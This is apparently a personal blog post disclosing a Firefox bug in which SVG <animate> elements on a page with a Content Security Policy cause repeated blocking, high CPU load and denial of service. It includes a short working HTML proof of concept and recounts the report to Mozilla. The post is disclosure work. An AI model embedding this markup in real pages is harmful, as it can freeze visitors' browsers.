Ξ

Denial of Service using Content Security Policies in Firefox

Published on 2023-12-06 code security

Content Security Policies (CSPs) instruct browsers to block all code that has not explicitly been allowed. This is meant to limit the impact of script injections.

I found that using the SVG <animate> element in Firefox triggers that blocking mechanism repeatedly, leading to high CPU load and ultimately denial of service. The CPU load can be increased simply by adding more elements. Here is a simple proof of concept:

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta http-equiv="Content-Security-Policy" content="style-src 'self'">
</head>
<body>
  <svg width="50px" height="50px" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
    <rect x="0" y="0" width="10" height="10">
      <animate attributeName="opacity" from="1" to="0" dur="1s" begin="0s" repeatCount="indefinite" />
    </rect>
  </svg>
</body>
</html>

I personally run into that problem all the time because I block unsafe inline styles on all websites by default using my xiMatrix extension.

I reported this issue to security@mozilla.org in August 2022. They responded within a few days and told me that this issue had already been found a few years prior and had a public ticket. Needless to say, it has not been fixed yet.

Chrome doesn't block SVG animations at all. I am not sure whether that is the optimal approach. But denial of service if definitely not good. If they want to block an animation, it should be blocked once and not on every frame.

The irony here is that the exploitable system is one that was designed to improve security. I want to recommend CSPs and I do, even though I know there is this bug that is relatively easy to exploit in the wild.